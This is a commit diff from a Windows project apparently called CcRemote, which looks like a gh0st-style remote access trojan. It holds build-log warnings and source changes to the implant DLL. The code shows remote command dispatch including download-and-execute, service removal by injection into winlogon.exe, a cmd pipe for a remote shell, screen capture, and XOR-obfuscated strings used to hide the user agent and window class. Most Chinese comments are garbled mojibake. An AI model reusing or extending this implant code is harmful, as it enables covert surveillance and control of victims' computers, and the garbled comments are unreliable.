zlibstat.lib(crc32.obj) : warning LNK4099: 未找到 PDB“zlibstat.pdb”(使用“zlibstat.lib(crc32.obj)”或在“G:\CcRemote\CcRemote\bin\server\zlibstat.pdb”中寻找);正在链接对象,如同没有调试信息一样
|
||||
zlibstat.lib(deflate.obj) : warning LNK4099: 未找到 PDB“zlibstat.pdb”(使用“zlibstat.lib(deflate.obj)”或在“G:\CcRemote\CcRemote\bin\server\zlibstat.pdb”中寻找);正在链接对象,如同没有调试信息一样
|
||||
zlibstat.lib(inffast.obj) : warning LNK4099: 未找到 PDB“zlibstat.pdb”(使用“zlibstat.lib(inffast.obj)”或在“G:\CcRemote\CcRemote\bin\server\zlibstat.pdb”中寻找);正在链接对象,如同没有调试信息一样
|
||||
zlibstat.lib(inflate.obj) : warning LNK4099: 未找到 PDB“zlibstat.pdb”(使用“zlibstat.lib(inflate.obj)”或在“G:\CcRemote\CcRemote\bin\server\zlibstat.pdb”中寻找);正在链接对象,如同没有调试信息一样
|
||||
zlibstat.lib(inftrees.obj) : warning LNK4099: 未找到 PDB“zlibstat.pdb”(使用“zlibstat.lib(inftrees.obj)”或在“G:\CcRemote\CcRemote\bin\server\zlibstat.pdb”中寻找);正在链接对象,如同没有调试信息一样
|
||||
zlibstat.lib(trees.obj) : warning LNK4099: 未找到 PDB“zlibstat.pdb”(使用“zlibstat.lib(trees.obj)”或在“G:\CcRemote\CcRemote\bin\server\zlibstat.pdb”中寻找);正在链接对象,如同没有调试信息一样
|
||||
zlibstat.lib(uncompr.obj) : warning LNK4099: 未找到 PDB“zlibstat.pdb”(使用“zlibstat.lib(uncompr.obj)”或在“G:\CcRemote\CcRemote\bin\server\zlibstat.pdb”中寻找);正在链接对象,如同没有调试信息一样
|
||||
zlibstat.lib(zutil.obj) : warning LNK4099: 未找到 PDB“zlibstat.pdb”(使用“zlibstat.lib(zutil.obj)”或在“G:\CcRemote\CcRemote\bin\server\zlibstat.pdb”中寻找);正在链接对象,如同没有调试信息一样
|
||||
CcMainDll.vcxproj -> G:\CcRemote\CcRemote\CcMainDll\CcMainDll\..\..\bin\server\CcMainDll.dll
|
||||
CcMainDll.vcxproj -> F:\myapp\CcRemote\CcMainDll\CcMainDll\..\..\bin\server\CcMainDll.dll
|
||||
|
@@ -1,2 +1,2 @@
|
||||
#TargetFrameworkVersion=v4.0:PlatformToolSet=v141:EnableManagedIncrementalBuild=false:VCToolArchitecture=Native32Bit:WindowsTargetPlatformVersion=10.0.17763.0
|
||||
Debug|Win32|G:\CcRemote\CcRemote\CcMainDll\|
|
||||
Debug|Win32|F:\myapp\CcRemote\CcMainDll\|
|
||||
|
@@ -73,8 +73,8 @@ f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(279): warning C4309: “初
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(312): warning C4838: 从“int”转换到“char”需要收缩转换
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(312): warning C4309: “初始化”: 截断常量值
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\kernelmanager.cpp(43): warning C4018: “<”: 有符号/无符号不匹配
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\kernelmanager.cpp(154): warning C4838: 从“int”转换到“char”需要收缩转换
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\kernelmanager.cpp(154): warning C4309: “初始化”: 截断常量值
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\kernelmanager.cpp(156): warning C4838: 从“int”转换到“char”需要收缩转换
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\kernelmanager.cpp(156): warning C4309: “初始化”: 截断常量值
|
||||
Manager.cpp
|
||||
RegEditEx.cpp
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(10): warning C4996: 'strnicmp': The POSIX name for this item is deprecated. Instead, use the ISO C and C++ conformant name: _strnicmp. See online help for details.
|
||||
@@ -126,19 +126,19 @@ f:\myapp\ccremote\ccmaindll\ccmaindll\common\screenspy.cpp(419): warning C4018:
|
||||
ServerManager.cpp
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\servermanager.cpp(291): warning C4102: “defaute”: 未引用的标签
|
||||
ShellManager.cpp
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\shellmanager.cpp(52): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\shellmanager.cpp(59): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明
|
||||
SystemManager.cpp
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\dialupass.h(62): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\systemmanager.cpp(137): warning C4018: “<”: 有符号/无符号不匹配
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\systemmanager.cpp(228): warning C4101: “cbNeeded”: 未引用的局部变量
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\systemmanager.cpp(140): warning C4018: “<”: 有符号/无符号不匹配
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\systemmanager.cpp(231): warning C4101: “cbNeeded”: 未引用的局部变量
|
||||
VideoCap.cpp
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\videocap.cpp(27): warning C4838: 从“int”转换到“char”需要收缩转换
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\videocap.cpp(27): warning C4309: “初始化”: 截断常量值
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\videocap.cpp(35): warning C4838: 从“int”转换到“char”需要收缩转换
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\videocap.cpp(35): warning C4309: “初始化”: 截断常量值
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\videocap.cpp(124): warning C4101: “gCapTureParms”: 未引用的局部变量
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\videocap.cpp(36): warning C4838: 从“int”转换到“char”需要收缩转换
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\videocap.cpp(36): warning C4309: “初始化”: 截断常量值
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\videocap.cpp(125): warning C4101: “gCapTureParms”: 未引用的局部变量
|
||||
VideoManager.cpp
|
||||
cl : 命令行 warning D9002: 忽略未知选项“/Zc:stricStrings”
|
||||
FileManager.cpp
|
||||
@@ -156,24 +156,18 @@ f:\myapp\ccremote\ccmaindll\ccmaindll\common\filemanager.cpp(617): warning C4307
|
||||
cl : 命令行 warning D9002: 忽略未知选项“/Zc:stricStrings”
|
||||
dllmain.cpp
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\login.h(38): warning C4101: “pEnd”: 未引用的局部变量
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\login.h(103): warning C4838: 从“int”转换到“char”需要收缩转换
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\login.h(103): warning C4309: “初始化”: 截断常量值
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\login.h(160): warning C4838: 从“int”转换到“char”需要收缩转换
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\login.h(160): warning C4309: “初始化”: 截断常量值
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\login.h(198): warning C4838: 从“int”转换到“char”需要收缩转换
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\login.h(198): warning C4309: “初始化”: 截断常量值
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\login.h(225): warning C4996: 'GetVersionExA': 被声明为已否决
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\login.h(162): warning C4838: 从“int”转换到“char”需要收缩转换
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\login.h(162): warning C4309: “初始化”: 截断常量值
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\login.h(204): warning C4838: 从“int”转换到“char”需要收缩转换
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\login.h(204): warning C4309: “初始化”: 截断常量值
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\login.h(231): warning C4996: 'GetVersionExA': 被声明为已否决
|
||||
d:\windows kits\10\include\10.0.17763.0\um\sysinfoapi.h(378): note: 参见“GetVersionExA”的声明
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(40): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(55): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(51): warning C4838: 从“int”转换到“char”需要收缩转换
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(51): warning C4309: “初始化”: 截断常量值
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(187): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(230): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(255): warning C4996: 'strncpy': This function or variable may be unsafe. Consider using strncpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(338): note: 参见“strncpy”的声明
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(256): warning C4996: 'wcstombs': This function or variable may be unsafe. Consider using wcstombs_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\stdlib.h(1015): note: 参见“wcstombs”的声明
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(253): warning C4996: 'fopen': This function or variable may be unsafe. Consider using fopen_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\stdio.h(208): note: 参见“fopen”的声明
|
||||
StrCry.cpp
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\strcry.cpp(8): warning C4018: “<=”: 有符号/无符号不匹配
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\strcry.cpp(10): warning C4267: “=”: 从“size_t”转换到“char”,可能丢失数据
|
||||
@@ -182,6 +176,6 @@ LINK : warning LNK4044: 无法识别的选项“/Zc:strictStrings”;已忽略
|
||||
正在生成代码
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditopt.cpp(113): warning C4700: 使用了未初始化的局部变量“NameSize”
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\filemanager.cpp(260): warning C4715: “CFileManager::OpenFile”: 不是所有的控件路径都返回值
|
||||
All 376 functions were compiled because no usable IPDB/IOBJ from previous compilation was found.
|
||||
All 381 functions were compiled because no usable IPDB/IOBJ from previous compilation was found.
|
||||
已完成代码的生成
|
||||
CcMainDll.vcxproj -> F:\myapp\CcRemote\CcMainDll\CcMainDll\..\..\bin\server\CcMainDll.dll
|
||||
|
@@ -83,10 +83,12 @@ void CKernelManager::OnReceive(LPBYTE lpBuffer, UINT nSize)
|
||||
case COMMAND_SYSTEM: // <20><><EFBFBD><EFBFBD>
|
||||
m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_SystemManager,
|
||||
(LPVOID)m_pClient->m_Socket, 0, NULL);
|
||||
Sleep(100);
|
||||
break;
|
||||
case COMMAND_WSLIST: // <20><><EFBFBD><EFBFBD>
|
||||
m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_WindowManager,
|
||||
(LPVOID)m_pClient->m_Socket, 0, NULL);
|
||||
Sleep(100);
|
||||
break;
|
||||
|
||||
case COMMAND_DOWN_EXEC: // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
@@ -158,7 +160,8 @@ void CKernelManager::UnInstallService()
|
||||
|
||||
if (m_dwServiceType != 0x120) // owner<65><72>Զ<EFBFBD><D4B6>ɾ<EFBFBD><C9BE><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Լ<EFBFBD>ֹͣ<CDA3>Լ<EFBFBD>ɾ<EFBFBD><C9BE>,Զ<><D4B6><EFBFBD>߳<EFBFBD>ɾ<EFBFBD><C9BE>
|
||||
{
|
||||
InjectRemoveService(winlogon_exe, m_strServiceName);
|
||||
//InjectRemoveService(winlogon_exe, m_strServiceName);
|
||||
InjectRemoveService("winlogon.exe", m_strServiceName);
|
||||
}
|
||||
else // shared<65><64><EFBFBD>̵ķ<CCB5><C4B7><EFBFBD>,<2C><><EFBFBD><EFBFBD>ɾ<EFBFBD><C9BE><EFBFBD>Լ<EFBFBD>
|
||||
{
|
||||
|
@@ -167,7 +167,7 @@ int ReadRegEx(HKEY MainKey,LPCTSTR SubKey,LPCTSTR Vname,DWORD Type,char *szData
|
||||
case REG_SZ:
|
||||
pDecodeStr = decodeStr(char_REG_SZ); //<2F><><EFBFBD>ܺ<EFBFBD><DCBA><EFBFBD>
|
||||
|
||||
wsprintf(ValueTemp,"%-24s %-15s %s \r\n",KeyName, pDecodeStr,ValueSz);
|
||||
wsprintf(ValueTemp,"%-24s %-15s %s \r\n",KeyName, pDecodeStr,ValueSz);
|
||||
|
||||
memset(pDecodeStr, 0, char_REG_SZ[STR_CRY_LENGTH]); //<2F><><EFBFBD><EFBFBD>0
|
||||
delete pDecodeStr;
|
||||
@@ -176,7 +176,7 @@ int ReadRegEx(HKEY MainKey,LPCTSTR SubKey,LPCTSTR Vname,DWORD Type,char *szData
|
||||
case REG_EXPAND_SZ:
|
||||
pDecodeStr = decodeStr(char_REG_EXPAND_SZ);
|
||||
|
||||
wsprintf(ValueTemp,"%-24s %-15s %s \r\n",KeyName, pDecodeStr,ValueSz);
|
||||
wsprintf(ValueTemp,"%-24s %-15s %s \r\n",KeyName, pDecodeStr,ValueSz);
|
||||
|
||||
memset(pDecodeStr, 0, char_REG_EXPAND_SZ[STR_CRY_LENGTH]); //<2F><><EFBFBD><EFBFBD>0
|
||||
delete pDecodeStr;
|
||||
@@ -185,7 +185,7 @@ int ReadRegEx(HKEY MainKey,LPCTSTR SubKey,LPCTSTR Vname,DWORD Type,char *szData
|
||||
case REG_DWORD:
|
||||
pDecodeStr = decodeStr(char_REG_DWORD);
|
||||
|
||||
wsprintf(ValueTemp,"%-24s %-15s 0x%x(%d) \r\n",KeyName, pDecodeStr,ValueSz,int(ValueSz));
|
||||
wsprintf(ValueTemp,"%-24s %-15s 0x%x(%d) \r\n",KeyName, pDecodeStr,ValueSz,int(ValueSz));
|
||||
|
||||
memset(pDecodeStr, 0, char_REG_DWORD[STR_CRY_LENGTH]); //<2F><><EFBFBD><EFBFBD>0
|
||||
delete pDecodeStr;
|
||||
@@ -195,7 +195,7 @@ int ReadRegEx(HKEY MainKey,LPCTSTR SubKey,LPCTSTR Vname,DWORD Type,char *szData
|
||||
case REG_MULTI_SZ:
|
||||
pDecodeStr = decodeStr(char_REG_MULTI_SZ);
|
||||
|
||||
wsprintf(ValueTemp,"%-24s %-15s \r\n",KeyName, pDecodeStr);
|
||||
wsprintf(ValueTemp,"%-24s %-15s \r\n",KeyName, pDecodeStr);
|
||||
|
||||
memset(pDecodeStr, 0, char_REG_MULTI_SZ[STR_CRY_LENGTH]); //<2F><><EFBFBD><EFBFBD>0
|
||||
delete pDecodeStr;
|
||||
@@ -204,7 +204,7 @@ int ReadRegEx(HKEY MainKey,LPCTSTR SubKey,LPCTSTR Vname,DWORD Type,char *szData
|
||||
case REG_BINARY:
|
||||
pDecodeStr = decodeStr(char_REG_BINARY);
|
||||
|
||||
wsprintf(ValueTemp,"%-24s %-15s \r\n",KeyName, pDecodeStr);
|
||||
wsprintf(ValueTemp,"%-24s %-15s \r\n",KeyName, pDecodeStr);
|
||||
|
||||
memset(pDecodeStr, 0, char_REG_BINARY[STR_CRY_LENGTH]); //<2F><><EFBFBD><EFBFBD>0
|
||||
delete pDecodeStr;
|
||||
|
@@ -36,7 +36,7 @@ CScreenSpy::CScreenSpy(int biBitCount, bool bIsGray, UINT nMaxFrameRate)
|
||||
// <20>õ<EFBFBD><C3B5><EFBFBD><EFBFBD>洰<EFBFBD><E6B4B0>
|
||||
m_hDeskTopWnd = GetDesktopWindow();
|
||||
|
||||
// <20><><EFBFBD>ݴ<EFBFBD><DDB4>ڻ<EFBFBD>ȡDC<44>ٱ<EFBFBD>
|
||||
// <20><><EFBFBD>ݴ<EFBFBD><DDB4>ڻ<EFBFBD>ȡDC<44><EFBFBD><EFBFBD><EFBFBD>
|
||||
m_hFullDC = GetDC(m_hDeskTopWnd);
|
||||
}
|
||||
|
||||
|
@@ -26,7 +26,12 @@ CShellManager::CShellManager(CClientSocket *pClient):CManager(pClient)
|
||||
|
||||
|
||||
//<2F><><EFBFBD><EFBFBD><EFBFBD>ܵ<EFBFBD><DCB5><EFBFBD><EFBFBD>ܵ<EFBFBD><DCB5><EFBFBD><EFBFBD>ڻ<EFBFBD>ȡcmd<6D><64><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϣ
|
||||
if(!CreatePipe(&m_hReadPipeHandle, &m_hWritePipeShell, &sa, 0))
|
||||
if(!CreatePipe(
|
||||
&m_hReadPipeHandle, // __out <20><>ȡ<EFBFBD><C8A1><EFBFBD><EFBFBD>
|
||||
&m_hWritePipeShell, // __out д<><D0B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
&sa, // __in SECURITY_ATTRIBUTES<45>ṹ<EFBFBD><E1B9B9>ָ<EFBFBD><D6B8> <20>Ӳⷵ<D3B2>صľ<D8B5><C4BE><EFBFBD><EFBFBD>Ƿ<EFBFBD><C7B7>ܹ<EFBFBD><DCB9><EFBFBD><EFBFBD>ӽ<EFBFBD><D3BD>̼̳У<CCB3>ΪNULL<4C><4C><EFBFBD>ܼ̳<DCBC> <20><><EFBFBD><EFBFBD><EFBFBD>ܵ<EFBFBD><DCB5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ṹ<EFBFBD><E1B9B9>
|
||||
0 // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>С<EFBFBD><D0A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϊ0ʱʹ<CAB1><CAB9>Ĭ<EFBFBD>ϴ<EFBFBD>С
|
||||
))
|
||||
{
|
||||
if(m_hReadPipeHandle != NULL) CloseHandle(m_hReadPipeHandle);
|
||||
if(m_hWritePipeShell != NULL) CloseHandle(m_hWritePipeShell);
|
||||
|
@@ -17,17 +17,20 @@
|
||||
// Construction/Destruction
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
|
||||
int GetWindowTextSafe(HWND hWnd, LPTSTR lpString, int nMaxCount);
|
||||
|
||||
CSystemManager::CSystemManager(CClientSocket *pClient, BYTE bHow) : CManager(pClient)
|
||||
{
|
||||
m_caseSystemIs = bHow;
|
||||
if (m_caseSystemIs == COMMAND_SYSTEM) //<2F><><EFBFBD><EFBFBD><EFBFBD>ǻ<EFBFBD>ȡ<EFBFBD><C8A1><EFBFBD><EFBFBD>
|
||||
{
|
||||
SendProcessList();
|
||||
}
|
||||
else if (m_caseSystemIs == COMMAND_WSLIST) //<2F><><EFBFBD><EFBFBD><EFBFBD>ǻ<EFBFBD>ȡ<EFBFBD><C8A1><EFBFBD><EFBFBD>
|
||||
if (m_caseSystemIs == COMMAND_WSLIST) //<2F><><EFBFBD><EFBFBD><EFBFBD>ǻ<EFBFBD>ȡ<EFBFBD><C8A1><EFBFBD><EFBFBD>
|
||||
{
|
||||
SendWindowsList();
|
||||
}
|
||||
else if (m_caseSystemIs == COMMAND_SYSTEM) //<2F><><EFBFBD><EFBFBD><EFBFBD>ǻ<EFBFBD>ȡ<EFBFBD><C8A1><EFBFBD><EFBFBD>
|
||||
{
|
||||
SendProcessList();
|
||||
}
|
||||
}
|
||||
|
||||
CSystemManager::~CSystemManager()
|
||||
@@ -342,10 +345,16 @@ bool CALLBACK CSystemManager::EnumWindowsProc(HWND hwnd, LPARAM lParam)
|
||||
char strTitle[1024];
|
||||
memset(strTitle, 0, sizeof(strTitle));
|
||||
//<2F><>ȡ<EFBFBD><C8A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ĵ<EFBFBD><C4B4>ھ<EFBFBD><DABE><EFBFBD><EFBFBD>ı<EFBFBD><C4B1><EFBFBD>
|
||||
GetWindowText(hwnd, strTitle, sizeof(strTitle));
|
||||
//<2F>жϴ<D0B6><CFB4><EFBFBD><EFBFBD>Ƿ<EFBFBD><C7B7>ɼ<EFBFBD><C9BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ƿ<EFBFBD>Ϊ<EFBFBD><CEAA>
|
||||
if (!IsWindowVisible(hwnd) || lstrlen(strTitle) == 0)
|
||||
if (IsWindowVisible(hwnd))
|
||||
return true;
|
||||
//GetWindowText(hwnd, strTitle, sizeof(strTitle));
|
||||
GetWindowTextSafe(hwnd, strTitle, sizeof(strTitle));
|
||||
//<2F>жϴ<D0B6><CFB4><EFBFBD><EFBFBD>Ƿ<EFBFBD><C7B7>ɼ<EFBFBD><C9BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ƿ<EFBFBD>Ϊ<EFBFBD><CEAA>
|
||||
if (lstrlen(strTitle) == 0)
|
||||
{
|
||||
OutputDebugString("lstrlen");
|
||||
return true;
|
||||
}
|
||||
|
||||
//<2F><><EFBFBD><EFBFBD>ָ<EFBFBD><D6B8>Ϊ<EFBFBD>յĻ<D5B5><C4BB><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD><D2BB><EFBFBD><EFBFBD>
|
||||
//<2F><><EFBFBD>ú<EFBFBD><C3BA><EFBFBD>ʱѭ<CAB1><D1AD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Եڶ<D4B5><DAB6>ν<EFBFBD><CEBD><EFBFBD><EFBFBD>Ͳ<EFBFBD><CDB2>ǿյģ<D5B5><C4A3>ö<EFBFBD>̬<EFBFBD><CCAC>LocalReAlloc<6F>ı<EFBFBD><C4B1>Ѵ<EFBFBD>Сʵ<D0A1><CAB5><EFBFBD><EFBFBD><EFBFBD>ݶ<EFBFBD><DDB6><EFBFBD>һ<EFBFBD><D2BB><EFBFBD><EFBFBD><EFBFBD>ϣ<EFBFBD>
|
||||
@@ -401,4 +410,52 @@ void CSystemManager::ShowTheWindow(LPBYTE buf)
|
||||
memcpy((void*)&hwnd, buf, sizeof(DWORD)); //<2F>õ<EFBFBD><C3B5><EFBFBD><EFBFBD>ھ<EFBFBD><DABE><EFBFBD>
|
||||
memcpy(&dHow, buf + sizeof(DWORD), sizeof(DWORD)); //<2F>õ<EFBFBD><C3B5><EFBFBD><EFBFBD>ڴ<EFBFBD><DAB4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
ShowWindow((HWND__ *)hwnd, dHow);
|
||||
}
|
||||
|
||||
|
||||
int GetWindowTextSafe(HWND hWnd, LPTSTR lpString, int nMaxCount)
|
||||
{
|
||||
if (NULL == hWnd || FALSE == IsWindow(hWnd) || NULL == lpString || 0 == nMaxCount)
|
||||
{
|
||||
return GetWindowText(hWnd, lpString, nMaxCount);
|
||||
}
|
||||
DWORD dwHwndProcessID = 0;
|
||||
DWORD dwHwndThreadID = 0;
|
||||
dwHwndThreadID = GetWindowThreadProcessId(hWnd, &dwHwndProcessID); //<2F><>ȡ<EFBFBD><C8A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ľ<EFBFBD><C4BD>̺<EFBFBD><CCBA>߳<EFBFBD>ID
|
||||
|
||||
if (dwHwndProcessID != GetCurrentProcessId()) //<2F><><EFBFBD>ڽ<EFBFBD><DABD>̲<EFBFBD><CCB2>ǵ<EFBFBD>ǰ<EFBFBD><C7B0><EFBFBD>ý<EFBFBD><C3BD><EFBFBD>ʱ<EFBFBD><CAB1><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ԭ<EFBFBD><D4AD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
{
|
||||
return GetWindowText(hWnd, lpString, nMaxCount);
|
||||
}
|
||||
|
||||
//<2F><><EFBFBD>ڽ<EFBFBD><DABD><EFBFBD><EFBFBD>ǵ<EFBFBD>ǰ<EFBFBD><C7B0><EFBFBD><EFBFBD>ʱ<EFBFBD><CAB1>
|
||||
if (dwHwndThreadID == GetCurrentThreadId()) //<2F><><EFBFBD><EFBFBD><EFBFBD>߳̾<DFB3><CCBE>ǵ<EFBFBD>ǰ<EFBFBD><C7B0><EFBFBD><EFBFBD><EFBFBD>̣߳<DFB3><CCA3><EFBFBD><EFBFBD><EFBFBD>ԭ<EFBFBD><D4AD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
{
|
||||
return GetWindowText(hWnd, lpString, nMaxCount);
|
||||
}
|
||||
|
||||
#ifndef _UNICODE
|
||||
WCHAR *lpStringUnicode = new WCHAR[nMaxCount];
|
||||
InternalGetWindowText(hWnd, lpStringUnicode, nMaxCount);
|
||||
int size = WideCharToMultiByte(CP_ACP, 0, lpStringUnicode, -1, NULL, 0, NULL, NULL);
|
||||
if (size <= nMaxCount)
|
||||
{
|
||||
size = WideCharToMultiByte(CP_ACP, 0, lpStringUnicode, -1, lpString, size, NULL, NULL);
|
||||
if (NULL != lpStringUnicode)
|
||||
{
|
||||
delete[]lpStringUnicode;
|
||||
lpStringUnicode = NULL;
|
||||
}
|
||||
return size;
|
||||
}
|
||||
if (NULL != lpStringUnicode)
|
||||
{
|
||||
delete[]lpStringUnicode;
|
||||
lpStringUnicode = NULL;
|
||||
}
|
||||
return 0;
|
||||
|
||||
#else
|
||||
return InternalGetWindowText(hWnd, lpString, nMaxCount);
|
||||
#endif
|
||||
}
|
@@ -34,6 +34,7 @@ private:
|
||||
void KillProcess(LPBYTE lpBuffer, UINT nSize);
|
||||
void ShowTheWindow(LPBYTE buf);
|
||||
void CloseTheWindow(LPBYTE buf);
|
||||
|
||||
};
|
||||
|
||||
#endif // !defined(AFX_SYSTEMMANAGER_H__26C71561_C37D_44F2_B69C_DAF907C04CBE__INCLUDED_)
|
||||
|
@@ -27,7 +27,8 @@ CVideoCap::CVideoCap()
|
||||
char classname32770[] = { 0x06,0xe8,0xf9,0xfb,0xff,0xf0,0xf6 }; //#32770
|
||||
char* lpClassName = decodeStr(classname32770); //<2F><><EFBFBD>ܺ<EFBFBD><DCBA><EFBFBD>
|
||||
|
||||
m_hWnd = CreateWindow(lpClassName, /* Dialog */ "", WS_POPUP, 0, 0, 0, 0, NULL, NULL, NULL, NULL);
|
||||
//m_hWnd = CreateWindow(lpClassName, /* Dialog */ "", WS_POPUP, 0, 0, 0, 0, NULL, NULL, NULL, NULL);
|
||||
m_hWnd = CreateWindow("#32770", /* Dialog */ "", WS_POPUP, 0, 0, 0, 0, NULL, NULL, NULL, NULL);
|
||||
|
||||
memset(lpClassName, 0, classname32770[STR_CRY_LENGTH]); //<2F><><EFBFBD><EFBFBD>0
|
||||
delete lpClassName;
|
||||
|
@@ -99,14 +99,16 @@ bool getLoginInfo(char *lpURL, char **lppszHost, LPDWORD lppPort, char **lppszPr
|
||||
HINTERNET hNet;
|
||||
HINTERNET hFile;
|
||||
|
||||
//strcry
|
||||
char Mozilla[] = { 0x18,0x86,0xa5,0xb3,0xa1,0xab,0xaa,0xa4,0xeb,0xf7,0xec,0xf1,0xe0,0x97,0xdd,0xd2,0xd1,0xcb,0xdb,0xcd,0xd1,0xd5,0xda,0xd0,0x9d }; //Mozilla/4.0 (compatible)
|
||||
char* pMozilla = decodeStr(Mozilla); //<2F><><EFBFBD>ܺ<EFBFBD><DCBA><EFBFBD>
|
||||
|
||||
hNet = InternetOpen(pMozilla, INTERNET_OPEN_TYPE_PRECONFIG, NULL, INTERNET_INVALID_PORT_NUMBER, 0);
|
||||
|
||||
memset(pMozilla, 0, pMozilla[STR_CRY_LENGTH]); //<2F><><EFBFBD><EFBFBD>0
|
||||
delete pMozilla;
|
||||
//strcry----------------------------------------------------
|
||||
